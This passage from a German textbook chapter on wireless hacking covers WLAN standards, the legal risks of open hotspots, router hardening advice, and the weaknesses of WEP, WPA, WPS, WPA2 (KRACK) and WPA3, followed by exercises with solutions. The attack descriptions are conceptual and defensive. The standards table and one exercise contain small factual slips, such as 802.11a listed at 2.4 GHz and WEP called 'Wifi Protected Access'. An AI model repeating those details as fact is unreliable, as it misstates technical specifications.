2. BKA: Bundeslagebild Cybercrime 2020. https://www.bka.de/SharedDocs/Downloads/DE/ Publikationen/JahresberichteUndLagebilder/Cybercrime/cybercrimeBundeslagebild2020.html (2020). Aufgerufen am 20. Apr. 2022 3. Hutchins, E. M., Cloppert, M. J., Amin, R. M.: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains. White Paper https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/ cyber/LM-White-Paper-Intel-Driven-Defense.pdf (2010). Aufgerufen am 4. Jul 2022 4. Canonical Ltd.: ufw – program for managing a netfilter firewall. https://manpages.ubuntu.com/ manpages/bionic/man8/ufw.8.html (2014). Aufgerufen am 21. Apr. 2022 5. Vulnerability Lab: CROSS-SITE-SCRIPTING Dokumentation, Analyse & Techniken. https:// www.vulnerability-lab.com/resources/documents/198.pdf (2022). Aufgerufen am 22. Apr. 2022 6. OWASP: The Open Web Application Security Project. https://owasp.org/. Aufgerufen am 22. Apr. 2022 7. BSI: Sicherheit von Webanwendungen: Maßnahmenkatalog und Best Practices. https://www. bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Studien/WebSec/WebSec.html. (2022) Aufgerufen am 22. Apr. 2022 8. Hack The Box: A Massive Hacking Playground. https://www.hackthebox.com/ (2022). Aufgerufen am 22. Apr. 2022 9. Gronau, M.: Die grausame Liste der beliebtesten Passwörter 2021. https://www.wuv.de/Archiv/ Die-grausame-Liste-der-beliebtesten-Passwörter-2021 (2021). Aufgerufen am 22. Apr. 2022 10. Metasploit: The world’s most used penetration testing framework. https://www.metasploit.com (2022). Aufgerufen am 22. Nov. 2022 11. Cobalt Strike: Software for Adversary Simulations and Red Team Operations. https://www. cobaltstrike.com (2022). Aufgerufen am 22. Nov. 2022 12. Sourceforge: Metasploitable. https://sourceforge.net/projects/metasploitable/ (2020). Aufgerufen am 24. Apr. 2022 13. Schirrmacher, D.: Rekord-DDoS-Attacke mit 1,35 Terabit pro Sekunde gegen Github.com, Heise Online (2018). https://www.heise.de/security/meldung/Rekord-DDoS-Attacke-mit-135-Terabit-pro-Sekunde-gegen-Github-com-3985411.html. Aufgerufen am 24. Apr. 2022 14. Cloudfare: Memcrashed – Major amplification attacks from UDP port 11211. https://blog. cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/ (2018). Aufgerufen am 26. Apr. 2022 15. BSI: Solider Schutz für den Router – Das Fundament für die IT-Sicherheit zu Hause (2022). https://www.bsi.bund.de/DE/Themen/Verbraucherinnen-und-Verbraucher/Informationen-undEmpfehlungen/Cyber-Sicherheitsempfehlungen/Router-WLAN-VPN/Sicherheitstipps-fuerprivates-und-oeffentliches-WLAN/sicherheitstipps-fuer-privates-und-oeffentliches-wlan_ node.html. Aufgerufen am 26. Apr. 2022 16. Tews, E., Weinmann, R.-P., Pyshkin, A.: Breaking 104 bit WEP in less than 60 seconds (2007). https://eprint.iacr.org/2007/120.pdf. Aufgerufen am 26. Apr. 2022 17. Vanhoef, M., Piessens, F.: Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2. CCS ’17: Proceedings of the 2017 ACM SIGSAC Conference on Computer and Communications Security (2017). pp. 1313–132 https://doi.org/10.1145/3133956.3134027 18. Rapid7: The world’s most used penetration testing framework https://www.metasploit.com/ (2022). Aufgerufen am 23. Dez. 2022 19. Rapid7: Metasploitable 2 Exploitability Guide https://docs.rapid7.com/metasploit/ metasploitable-2-exploitability-guide/ (2022). Aufgerufen am 23. Dez. 2022
5
Wireless Hacking
Heute wird kein PC, Smartphone oder Tabletcomputer mehr ausgeliefert, bei dem neben LTE oder 5G nicht wenigstens ein Funkstandard wie WLAN, Bluetooth, NFC oder Ähnlichem zur Grundausstattung gehört. Auch immer mehr Peripherie (zum Beispiel Drucker) oder Alltagsgeräte (Smarte Fernseher oder Küchengeräte) verfügen über entsprechende Verbindungsmöglichkeiten. Ein Großteil der Daten im Internet werden heute über mobile Endgeräte ausgetauscht. Das Smartphone oder der Tabletcomputer sind für die Mehrzahl der Nutzer das wichtigste und inzwischen oft das einzige Endgerät für die Nutzung des Internets. Viele Nutzende haben schon einmal sensitive Informationen wie Banküberweisungen oder Logins übertragen, während sie mit einem öffentlichen Hotspot verbunden waren. Nicht immer werden diese Daten durch Verschlüsselung geschützt. Es existieren zahlreiche drahtlose Standards, die für unterschiedliche Anwendungen optimiert sind. Hier eine Auswahl: • WLAN (Wireless Local Area Network) nach den Standards der Serie IEEE 802.11 als Ergänzung der kabelbasierten lokalen Netze (Local Area Networks). • Bluetooth zur Übertragung von Sprache und Daten in der unmittelbaren persönlichen Umgebung. • DECT (Digital Enhanced Cordless Telecommunications) Sprach- und Datenkommunikationssysteme. • WiMAX (Worldwide Interoperability for Microwave Access) zur drahtlosen Anbindung von Feststationen und für mobile Endgeräte. • Richtfunk-Techniken zur drahtlosen Überbrückung größerer Entfernungen zwischen Gebäuden (Punkt-zu-Punkt-Verbindung). • ZigBee, basierend auf IEEE 802.15.4, für Sensor- und Steuernetzwerke. © Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9_5
105
106
5 Wireless Hacking
• UWB (Ultra Wideband) zur Anbindung von Peripheriegeräten mit hohen Datenraten. • NFC (Near Field Communication) zur drahtlosen Kopplung von Geräten in kurzen Entfernungen. Daneben haben sich im Bereich des Mobilfunks weitere Mobilfunkstandards ausgebildet, von denen heute die Standards „Edge“, „LTE“ und „5G“ in Gebrauch sind.
5.1
Privates, dienstliches und öffentliches WLAN
Grundsätzlich muss zwischen privaten, dienstlichen und öffentlichen WLANs unterschieden werden, die im Grunde jedoch auf derselben Übertragungstechnik beruhen. In privaten Netzen dient WLAN als Ersatz für eine LAN-Kabelverbindung. Der Zugang ist in der Regel über ein Zugangspasswort gesichert, das für alle Nutzenden identisch ist. Dieses Passwort wird zusätzlich als Schlüssel für die Verschlüsselung des Datenverkehrs verwendet. Im privaten Bereich wird der Schlüssel, also das Kennwort für den Zugang zu einem bestimmten Netz, durch Weitergabe an die berechtigten Personen geregelt. Im dienstlichen Bereich wird zwar dieselbe WLAN-Technologie eingesetzt, die Zugangsregelung über die Weitergabe eines für alle Teilnehmenden identischen Zugangsschlüssels ist jedoch wenig geeignet. Allenfalls bei zeitlich begrenzten Gastzugängen kann ein solcher Zugriffsschutz sinnvoll sein, denn immerhin kann mithilfe des Schlüssels der Datenverkehr zwischen Endgerät und WLAN-Accesspoint durch Verschlüsselung abgesichert werden. Für den WLAN-Zugang zu einem Firmennetz muss ein Endgerät authentifiziert werden, in dem individuelle passwortgeschützte Firmenaccounts für den Zugang verwendet werden. Hier kommt das RADIUS-Protokoll1 zum Einsatz, das sich als Standard etabliert hat. Über die Authentifizierung wird sichergestellt, dass nur berechtigte Personen Zugang zu einem geschützten Netz erhalten. Im Unterschied zu einem privaten WLAN-Accesspoint kann man so einzelnen Personen das Zugangsrecht wieder entziehen, ohne dass ein Zugangspasswort für alle geändert werden muss. Damit dies über das RADIUS-Protokoll funktioniert, muss auf dem WLAN-Accesspoint ein RADIUS-Client installiert sein, der die Anfrage an einen RADIUS-Server an einem besonders geschützten Netzwerksegment weiterleitet. Dort wird über eine Anfrage an die User-Datenbank geprüft, ob der Zugang erlaubt ist. Um den Datenverkehr durch Verschlüsselung zu sichern, wird zwischen Accesspoint und Client ein individueller Sitzungsschlüssel ausgehandelt, der in regelmäßigen Zeitintervallen erneuert wird. Im öffentlichen Bereich werden mit derselben Funktechnologie frei zugängliche WLANAccesspoints betrieben. Man findet diese heute im Café, Supermarkt, Baumarkt, Buchladen, Flughafen, Hotels, an öffentlichen Plätzen, bei der Bahn usw. Bei all diesen frei zugänglichen Accesspoints ist der Datenverkehr in der Regel nicht über eine Verschlüsselung abgesichert. Ein VPN-Zugang ist eine Möglichkeit, den Datenverkehr vor unberechtigtem Mitlesen zu 1 RADIUS steht für Remote Authentication Dial-In User Service.
5.1
Privates, dienstliches und öffentliches WLAN
107
schützen. VPN sichert den Datenverkehr zwischen Endgerät und VPN-Server durch eine zusätzliche Verschlüsselung so ab, dass sie in den übertragenden Netzwerkkomponenten oder durch Abhören des WLAN-Verkehrs nicht mehr mitgelesen werden kann. Schließlich bieten alle Mobilfunkprovider inzwischen auch öffentliche WLAN-Accesspoints an, die nur ihren Kunden zur Verfügung stehen und daher mit einem Zugangscode gesichert sind. Dieser Ansatz entspricht im Wesentlichen dem dienstlichen Bereich, weil hier der Zugang individuell geprüft wird und ein Sitzungspasswort ausgehandelt wird. Auch wenn man das WLAN für sich betrachtet, gibt mehr als einen gebräuchlichen Standard (Tab. 5.1): Die Geräte in einem WLAN-Segment werden nach der IEEE-Norm 802.11 als „Service Set“ bezeichnet. Ein Service Set Identifier (SSID) ist ein frei wählbarer Name des AccessPorts eines WLAN-Segments, durch den dieser von Endgeräten ansprechbar wird. Hersteller setzen die SSID oft mit einem Defaultnamen, der Informationen wie den Hersteller oder den Gerätetyp enthält. Diese Kennung kann manuell von einem Benutzer modifiziert werden. Die SSID ist eine Zeichenkette, die für Menschen lesbar ist. Sie SSID wird allgemein als (Funk-)Netzwerkname des WLANs bezeichnet. Ein Accesspoint sendet seine SSID als 32-Byte-Textstring aus. Ein Client kann mit dem Accesspoint über die SSID Verbindung aufnehmen. Die SSID beinhaltet häufig weitere Informationen, die sie bei Abfrage preisgegeben werden. Die Vorgaben der Hersteller beinhalten oft den Firmennamen wie zum Beispiel „Lynsys“, „Fritzbox“ oder „dlink“ und geben damit Hinweise auf eventuell bekannte Sicherheitsprobleme oder Softwareversionen. Manuell gesetzte SSIDs weisen oft auf den Betreiber hin und geben Insiderhinweise auf den Administrator des Accesspoint. Öffentliche, bekannte Namen wie „Starbucks“ oder „WIFIonICE“ führen dazu, dass viele Clients automatisch versuchen sich mit diesen Netzen zu verbinden, weil sie mit diesen SSIDs in der Vergangenheit schon einmal verbunden waren. Clients mit eingeschaltetem WLAN versuchen permanent, die ihnen bekannten SSIDs zu scannen und geben damit ggf. preis, wo sich sein Besitzer in der Vergangenheit bereits einmal angemeldet hatte. Bei der Wahl der SSID muss sich der Administrator eines Access-Ports außerdem bewusst sein, dass WLAN-Netze nicht an der Hauswand enden! Jeder Cyberkriminelle in Reichweite des WLAN-Accesspoints kann die SSID lesen.
Tab. 5.1 Wireless Standards Standard
Frequenz [GHz]
Max. Geschw. [Mbps]
Reichweite [m]
802.11a
2,4/5
54
ca. 25
802.11b
2,4
11
ca. 38
802.11g
2,4
54
ca. 38
802.11n (Wifi 4)
2,4/5
600
ca 70
802.11ac (Wifi 5)
5
300–3400
ca. 50
802.11ax (Wifi 6)
2,4/5
bis 12.000
bis ca.30
108
5 Wireless Hacking
Das Prinzip der Wifi-Authentifizierung läuft grundsätzlich nach dem folgenden Schema: 1. Der Client sendet eine Authentifizierungsanfrage. 2. Der Accesspoint sendet eine Verschlüsselungsaufgabe (ein zufälliges Datenwort) zurück. 3. Der Client verschlüsselt das Datenwort mit seinem Verschlüsselungspasswort, das vorher verteilt oder für die Sitzung ausgehandelt wurde, und sendet das verschlüsselte Datenwort an den Access-Port zurück. 4. Der Accesspoint wendet dasselbe Verschlüsselungspasswort auf die Verschlüsselungsaufgabe an und prüft, ob er dasselbe Resultat erhält. Wenn das Resultat übereinstimmt, verfügen der Client und der Accesspoint über dasselbe Passwort. Damit hat sich der Client authentifiziert und erhält Zugriff auf das Netzwerk. Das Passwort muss vorher zwischen Accesspoint und Client ausgetauscht worden sein (Preshared Key). Der Vorteil bei diesem Ansatz besteht darin, dass der WLAN-Schlüssel während der Authentifizierung nicht über das WLAN gesendet wird und deshalb nicht mitgelesen werden kann. Viele Hersteller von Routern mit eingebautem Accesspoint drucken eine initiale SSID und den zugehörigen WLAN-Schlüssel auf das Gehäuse des Gerätes. Aus Bequemlichkeit wird dieses Passwort, das in der Regel zudem nur aus einer Ziffernfolge besteht, nie geändert. Hat der Angreifer physikalischen Zugriff auf das Gerät, zum Beispiel getarnt als Handwerker, kann diese Kennung notiert oder abfotografiert und für einen nachfolgenden Angriff auf die WLAN-Zelle verwendet werden. Zur Sicherung des Datenverkehrs zwischen Client und Access-Port werden folgende WLAN-Standards bei derzeit gebräuchlichen Accesspoints zur Auswahl angeboten: • Wired Equivalent Privacy (WEP): WEP ist der älteste Standard, der einige Schwachstellen im Protokoll besitzt. In den meisten Accesspoints wird WEP noch immer als Alternative zu den sicheren Standards zur Auswahl angeboten. WEP gilt heute nicht mehr als sicher. • Wifi Protected Access (WPA): WPA wurde als Nachfolger von WEP eingeführt, bei dem einige der Sicherheitslücken geschlossen wurden. WAP gilt heute ebenfalls nicht mehr als sicher. • Wifi Protected Access 2 (WPA2): Der Nachfolger von WPA ist WPA2, das einige Angriffsvektoren des WPA ausschließt. Es handelt sich zudem um eine verbesserte Verschlüsselung mit längeren Schlüsseln. WPA2 gilt heute als noch ausreichend sicher. • Wifi Protected Access 3 (WPA3): WPA3 ist der neuste Standard für Accesspoints, der derzeit noch nicht von allen Endgeräten und Accesspoints unterstützt wird. WPA3 gilt heute als sicher. Diese Standards werden im Folgenden näher vorgestellt und bezüglich ihrer Sicherheit und Angriffsvektoren bewertet.
5.2
5.2
Betrieb eines öffentlichen WLAN
109
Betrieb eines öffentlichen WLAN
Nicht jedes offene WLAN ist ein öffentliches WLAN (oder ein öffentlicher Hotspot). Ein öffentliches WLAN kann aus juristischen Gründen grundsätzlich nicht von einer Privatperson betrieben werden, denn unter einem öffentlichen WLAN versteht man einen Internetzugang, wie er etwa von einer Gaststätte, einem Flughafen, einem Hotel, einem Fußballstadion oder Bahnhof zur Verfügung gestellt wird. Grundsätzlich können Betreiber eines WLAN-Accesspoints auf die Sicherung des Zugangs durch ein Passwort verzichten. Mit einer Gesetzesänderung wurde die Störerhaftung für WLAN-Betreiber 2017 überwiegend abgeschafft. Unternehmer und Privatpersonen, die ihr WLAN anderen Personen frei zur Verfügung stellen, haften daher nicht mehr für deren rechtswidriges Verhalten. Trotzdem können Rechteinhaber bei Urheberrechtsverletzungen vom Betreiber eines WLANs verlangen, dass Inhaltssperren für betroffene Inhalte durch technische Maßnahmen eingerichtet werden. Ein Betreiber eines frei zugänglichen privaten WLANs unterliegt nach wie vor einem Kostenrisiko, falls ein Rechteinhaber wegen einer geforderten Inhaltssperre vor Gericht zieht. Seit einigen Jahren bieten Telekom oder Vodafone die Möglichkeit, private WLANAccesspoints als „WLAN to go“ zur Verfügung zu stellen. Auch wenn dieser durch ein Passwort geschützt ist, und nur den Telekom- oder Vodafone-Kunden zur Verfügung steht, ist die Rechtslage bei einer missbräuchlichen Nutzung derzeit juristisch nicht abschließend geklärt. Neben dem Kostenrisiko besteht außerdem ein Reputationsrisiko: Sogenannte „Wardriver“ suchen systematisch nach offenen oder schwach gesicherten WLANs um diese für ihre Zwecke zu missbrauchen. Die Gefahr entdeckt zu werden ist für die Angreifer eher gering, da sie sich im öffentlichen Raum mit einem privaten WLAN verbinden. In vielen Fällen geht es den Angreifern auch weniger darum die Betreiber eines offenen WLANs selbst zu schädigen oder auszuspionieren, als darum, den fremden Internetzugang für Straftaten zu nutzen. Der Internetprovider kann bei richterlichen Anordnungen über die Zuordnung der IP-Adresse und der Zeit einen konkreten Anschluss identifizieren. Wurden schwerwiegende Straftaten über den offenen WLAN-Accesspoint verübt, wird die Polizei zunächst beim Betreiber dieses Accesspoints vorstellig werden. Dieser muss dann nachweisen, dass er an der Straftat nicht beteiligt war. Auch wenn ihm dies vor Gericht zweifelsfrei gelingen sollte, besteht immer das Risiko, dass ein Imageschaden haften bleibt, wenn die Ursache einer Durchsuchung zum Beispiel in der Nachbarschaft bekannt wird. Aus diesem Gründen wird einhellig vom Betrieb ungesicherter WLAN-Accesspoints gewarnt. Das BSI empfiehlt darüber hinaus einige Maßnahmen zum sicheren Betrieb privater WLAN-Accesspoints [1]: • Ein initiales Passwort des Accesspoints sollte immer geändert werden. • Während der Konfiguration eines Routers sollte dieser vom Internet getrennt werden. • Die Kommunikation mit dem Router über den Browser sollte über HTTPS erfolgen.
110
5 Wireless Hacking
• Die Firmware des Accesspoints oder Routers sollte immer auf den neusten Stand gehalten werden. • Der voreingestellte Netzwerknamen (SSID) sollte geändert werden um Rückschlüsse auf den Gerätetyp zu verhindern. • Die Einschränkung des Zugriffs auf ein privates WLAN auf die Geräte mit eingetragenen MAC-Adressen für die eigenen Geräte ist zwar kein unüberwindbarer Schutz, hilft aber die Sicherheit zu erhöhen. • Nicht benötigte Funktionen des Routers bieten Angriffsflächen und sollten deshalb deaktiviert werden. • Auch der Fernzugang des Routers sollte grundsätzlich deaktiviert werden. • Einstellungen der Firewall (Firewallregeln) sollten nur dann geändert werden, wenn das unbedingt nötig ist. • Zur Absicherung des WLAN sollte mindestens WPA2, besser WPA3 aktiviert werden. Mit der Umsetzung dieser Maßnahmen sollte nach heutigem Stand ein gut gesicherter Betrieb eines aktuellen Routers mit einem eingebauten Accesspoint im privaten Bereich möglich sein.
5.3
Wired Equivalent Privacy (WEP)
Das Kürzel WEP steht für Wired Equivalent Privacy. WEP war das Standardverschlüsselungsprotokoll für WLAN, das aufgrund verschiedener Schwachstellen inzwischen als unsicher gilt und deshalb auf keinen Fall mehr verwendet werden sollte, auch wenn einige moderne Router WEP noch als Netzwerksicherungsoption zur Auswahl stellen. Aus wenigen Minuten mitgeschnittenem WLAN-Traffic lässt sich der Schlüssel mit aktueller Hardware in wenigen Sekunden Rechenzeit rekonstruieren [2]. Die grundlegende Funktionsweise von WEP beruht auf der bitweisen XOR-Verknüpfung der Datenbits mit einer Pseudozufallszahl. Für jede zu schützende Nachricht wird ein neuer 24 Bit langer Initialisierungsvektor gebildet und mit einem Schlüssel verknüpft, der allen Stationen bekannt ist. Ein Angreifer kann einen genutzten WEP-Schlüssel und damit die gesamte WEPVerschlüsselung brechen. Für verschiedene Systeme gibt es Werkzeuge, wie z. B. Aircrack oder Airsnort, die durch Mithören einer ausreichenden Menge von Datenpaketen den verwendeten WEP-Schlüssel berechnen. In den letzten Jahren wurden die Angriffsmöglichkeiten immer weiter verbessert und ausgeweitet. So ist es beispielsweise möglich, wenn auch nur eine der übermittelten Nachrichten im Klartext bekannt ist, beliebige Inhalte (korrekt verschlüsselt) in das WLAN einzuspeisen. Des Weiteren gibt es eine Technik, einzelne, mitgehörte Datenpakete zu entschlüsseln, indem sie mehrmals leicht modifiziert wieder in das WLAN eingespielt werden.
5.4 Wifi Protected Access (WPA)
111
Neben den passiven Angriffen existieren auch aktive Angriffe: So kann man Antworten des WLAN-Accesspoints forcieren, um innerhalb weniger Minuten ausreichend Daten für einen erfolgreichen passiven Angriff zu sammeln. Aufgrund der vielfältigen Schwachstellen ist es nicht möglich, WEP mit zusätzlichen Maßnahmen so zu schützen, dass eine sichere Kommunikation über dieses Protokoll gewährleistet ist. Außerdem ist das WEP-Protokoll anfällig für DoS-Angriffe. Nur die Abschaltung und der Wechsel auf ein aktuelles und als sicher anerkanntes Verfahren wie WPA3 ist sinnvoll.
5.4
Wifi Protected Access (WPA)
Der Nachfolger des WEP ist Wifi Protected Access oder kurz WPA. WPA schließt einige der Sicherheitslücken des veralteten WEP-Protokolls. Dies war notwendig, weil sich der Sicherheitsstandard WEP schon nach relativ kurzer Zeit als anfällig für Angriffe herausstellte. Ein weiterführender, sehr umfangreicher Standard für Sicherheit in WLANs (IEEE 802.11i) war zu diesem Zeitpunkt zwar in Arbeit, aber eine Verabschiedung noch nicht in Sicht. Deshalb wurde der Sicherheitsstandard WPA auf der Basis der bis dahin verabschiedeten Teile als Zwischenstandard geschaffen. Eine Komfortfunktion des WPA-Standards führte allerdings zu neuen Problemen: WPS. WPS steht für Wifi Protected Set-up und ist gedacht, die initiale Anmeldung neuer Clients zu vereinfachen. WPS funktioniert aus Sicht der Administration so, dass lediglich ein Knopf auf dem Accesspoint betätigt werden muss. Für eine kurze Zeit von wenigen Minuten können sich anschließend neue Clients aus der Umgebung mit dem Accesspoint auch ohne die Eingabe eines Passworts verbinden. Viele WLAN-fähige Endgeräte besitzen gar keine Tastatur oder Touch-Screen, sodass der Zugangsschlüssel gar nicht eingegeben werden könnte. WPS war als Möglichkeit gedacht, diese Endgeräte auf einfache Weise in ein privates WLAN zu integrieren. Dieses Verfahren ist natürlich problematisch, wenn ein Angreifer physikalischen Zugang zu dem Accesspoint bekommt. Aber auch der WPS-Code selbst birgt eine Schwachstelle: Er besitzt nur 8 Stellen, die zudem noch in zwei 4er-Gruppen getrennt geprüft werden. Ein Accesspoint begrenzt die Anzahl der Versuche nicht. Lediglich die Zeit zwischen zwei Verbindungsversuchen wird auf einen Versuch pro Sekunde eingeschränkt. Hat ein Angreifer die Möglichkeit über längere Zeit Angriffsversuche durchzuführen, stellt WPS keine große Hürde dar. Der einzige Weg, diese Probleme zu umgehen, besteht darin, WPS ausschalten, was bei einigen Geräten allerdings gar nicht möglich ist. Wenn aufgrund der anzuschließenden Clients auf die Nutzung des WPA-Protokolls nicht verzichtet werden kann, ist es wichtig ein ausreichend sicheres Passwort zu verwenden, das aus mindestens 20 zufälligen Zeichen besteht und so in keinem Wörterbuch zu finden ist.
112
5 Wireless Hacking
Wenn möglich sollte für diese Geräte ein eigenes Subnetz aufgespannt werden, das keinen Zugriff auf die weiteren Netzwerksegmente hat. Da das Risiko für einen unberechtigten Zugang vergleichsweise hoch ist, sollte das WPA, genauso wie WEP, nicht mehr eingesetzt werden.
5.5
Wifi Protected Access 2 (WPA2)
Der Sicherheitsstandard WPA2 wurde als Nachfolger von WPA eingeführt, nachdem die Diskussionen abgeschlossen und der Standard nach IEEE 802.11i verabschiedet wurde. Mit WPA2 wurde der Verschlüsselungsstandard AES (Advanced Encryption Standard, ein Verschlüsselungsstandard, der vom National Institute of Standards and Technology (NIST) als US-amerikanischer Standard vorgestellt wurde. Bis heute ist kein praktisch durchführbarer Angriff bekannt) implementiert, weshalb WPA2 lange Zeit nur über die Ermittlung des Passworts als angreifbar galt. Brute-Force-Attacken auf WPA-Schlüssel sind zwar langwierig, aber im Empfangsbereich eines WLANs hat ein Angreifer unter Umständen ausreichend Zeit für einen solchen Angriff. Vereinfacht werden Brute-Force-Attacken durch Defaultpasswörter bestimmter Router, Passwortbibliotheken und Passwörter, die nur aus Zahlenfolgen bestehen. Aus diesem Grund sollten die Passwörter auch bei WPA möglichst lang sein, Sonderzeichen, Zahlen, Groß- und Kleinbuchstaben enthalten und in Wörterbüchern nicht enthalten sein. Im Oktober veröffentlichten Wissenschaftler der KU Leuven eine Angriffsmöglichkeit auf WPA2 mit dem Namen „Key Reinstallation Arrack (KRACK)“ [3]. Sie beruht auf Schwächen beim Verbindungsaufbau und bei der Aushandlung der Schlüssel im HandshakeVerfahren. Datenpakete können mit KRACK entschlüsselt und verschiedene Angriffe ausgeführt werden. Im schlimmsten Fall kann die Verschlüsselung komplett abgeschaltet werden. In erster Linie sind clientseitige Android-, Linux- und GNU-Implementierungen von der KRACK-Schwachstelle betroffen. Apple- oder Windows-Geräte weisen Teile der Schwachstelle auf. Grundsätzlich wird die Sicherheitslücke nicht als kritisch bewertet, denn sie kann nur ausgenutzt werden, wenn sich ein Angreifer im Empfangsbereich des WLAN-Netzes befindet. Außerdem wurde der Sicherheitsstandard WPA2 selbst nicht gebrochen. Lediglich Implementierungsschwächen im Protokollstack können von Angreifern ausgenutzt werden, um neue, für den Angreifer bekannte Schlüssel zu implantieren. Die Gefahr der Ausnutzung dieser Lücke über das Internet besteht nicht. Für einen Großteil der betroffenen Geräte existieren inzwischen Patches, die diese Sicherheitslücke beheben. Eine weitere Sicherheitslücke ergibt sich analog zu WPA durch die Nutzung von WPS für die vereinfachte Clientanmeldung. Hier bestehen die gleichen Probleme wie bei WPA, sodass empfohlen wird, WPS grundsätzlich zu deaktivieren.
5.7
Aufgaben & Lösungen zu diesem Kapitel
5.6
113
Wifi Protected Access 3 (WPA3)
Der Sicherheitsstandard WPA3 wurde im Januar 2018 veröffentlicht. WPA3 schließt die Lücke beim Schlüsselaustausch des WPA2-Protokolls über ein neues Handshake-Protokoll SAE (Simultaneous Authentication of Equals), für den Austausch des Sitzungsschlüssels. Auch bei SAE werden vorher ausgetauschte, übereinstimmende Masterpasswörter verwendet (Preshared Secret). Aus diesem Passwort wird ein eindeutiger und bei jedem Client anderer Schlüssel (Pairwise Master Key, PMK) abgeleitet. Durch diesen Schritt erhält jeder Client ein individuelles Passwort, auch wenn alle Verbindungen dasselbe Masterpasswort verwenden. Aus dem PMK wird anschließend der für den eigentlichen Datenaustausch verwendete Pairwise Transient Key (PTK) generiert und über einen Vier-Wege-Handshake zwischen dem WLAN-Client und dem Accesspoint ausgetauscht. Auch wenn das Verfahren für das Erzeugen der Schlüssel grundsätzlich bekannt ist, können der PMK und PTK ohne Kenntnis des ursprünglichen Passworts nicht generiert werden. Da das Masterpasswort nicht mehr über das WLAN ausgetauscht wird und aus der Kenntnis des PMK und PTK dieses Masterpasswort auch nicht abgeleitet werden kann, ist das Mitlesen des Datentransfers für einen Angreifer nutzlos. Selbst wenn für eine bestimmte Sitzung der Schlüssel erraten werden sollte, hilft das den Angreifern wenig, weil spätestens bei der nächsten Sitzung ein neuer Schlüssel zwischen Accesspoint und Client ausgehandelt wird. Trotzdem ist auch WPA3 nicht zu 100 % gegen Angriffe geschützt: Bereits 2019 haben Sicherheitsforscher gleich mehrere Lücken entdeckt. Durch einen „Downgrade-Angriff“ kann ein Endgerät den Accesspoint dazu bringen, auf das weniger sichere WPA2 umzuschalten. Aus Kompatibilitätsgründen mit älteren Geräten müssen auch Accesspoints, die WPA3 beherrschen, über WPA2 erreichbar bleiben. Darüber hinaus gelang es Sicherheitsforschern auch über abgewandelte Wörterbuchattacken das ursprüngliche Passwort zu erraten. Auch WPA3 wird folglich den Wettlauf zwischen den Sicherheitsverantwortlichen und den Angreifern nicht beenden.
5.7
Aufgaben & Lösungen zu diesem Kapitel
5.7.1
Aufgaben
5.1 Warum bieten MAC-Filter keinen ausreichenden Schutz, um den Zugang für unbekannte Geräte zum Netzwerk zu verhindern? 5.2 Kann man Wifi Protected Access (WEP) mit einem ausreichend langen Schlüssel sicher betreiben?
114
5 Wireless Hacking
5.3 Kann man Wifi Protected Access (WPA) mit einem ausreichend langen Schlüssel sicher betreiben? 5.4 Welche Schwachstellen ergeben sich bei Wifi Protected Setup (WPS)? 5.5 Warum sollten Sie ohne weitere Schutzmaßnahmen keine sensiblen Daten eingeben, wenn Sie mit einem öffentlichen WLAN verbunden sind? 5.6 Was versteht man unter „Wardriving“? 1. 2. 3. 4.
Das Umherfahren und Suchen nach angreifbaren Accesspoints. Das Umherfahren in militärischen Fahrzeugen. Die Installation eines eigenen Accesspoints in einem Zielnetz. Die Suche von Schwachstellen in Firewallsystemen.
5.7.2
Lösungen
5.1 MAC-Adresse kann manipuliert bzw. gefälscht werden (frei gewählt werden). Gültige MAC-Adressen können abgehört werden. 5.2 Nein. Es sind zahlreiche Angriffe auf WEP bekannt, sodass dieser Standard nicht mehr als sicher gilt. Der WEP-Schlüssel kann mit einer bestimmten Anzahl mitgehörter Datenpakete berechnet werden. Gleichzeitig kann der Accesspoint dazu gebracht werden, Datenpakete nach Bedarf zu generieren. 5.3 Wenn das Passwort mindestens 20 Stellen hat, kann man WPA im Notfall noch sicher betreiben. Sicherer ist allerdings auf WPA3 oder zumindest auf WPA2 umzusteigen. 5.4 Die Push-Button-Konfiguration ist problematisch, wenn der Accesspoint für Angreifer zugänglich ist. Der WPS-PIN-Code besitzt nur 8 Zeichen, die in 4er-Gruppen geprüft werden. Der Accesspoint beschränkt die Anzahl der Versuche nicht (ein Pin/Sekunde). 5.5 Der Datentransfer ist unverschlüsselt. Über Netzwerksniffer können Angreifer alle Daten mitlesen. Deshalb ist auch ein Man-in-the-Middle-Angriff über einen entsprechend präparierten Accesspoint möglich. 5.6 Antwort 1.
Literatur
115
Literatur 1. BSI: Solider Schutz für den Router – Das Fundament für die IT-Sicherheit zu Hause (2022). https://www.bsi.bund.de/DE/Themen/Verbraucherinnen-und-Verbraucher/Informationen-undEmpfehlungen/Cyber-Sicherheitsempfehlungen/Router-WLAN-VPN/Sicherheitstipps-fuerprivates-und-oeffentliches-WLAN/sicherheitstipps-fuer-privates-und-oeffentliches-wlan_node. html. Aufgerufen am 26. Apr. 2022 2. Tews, E., Weinmann, R.-P., Pyshkin, A.: Breaking 104 bit WEP in less than 60 seconds (2007). https://eprint.iacr.org/2007/120.pdf. Aufgerufen am 26. Apr. 2022 3. Vanhoef, M., Piessens, F.: Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2. CCS ’17: Proceedings of the 2017 ACM SIGSAC Conference on Computer and Communications Security (2017). pp. 1313–132. https://doi.org/10.1145/3133956.3134027
6
Mobile Hacking
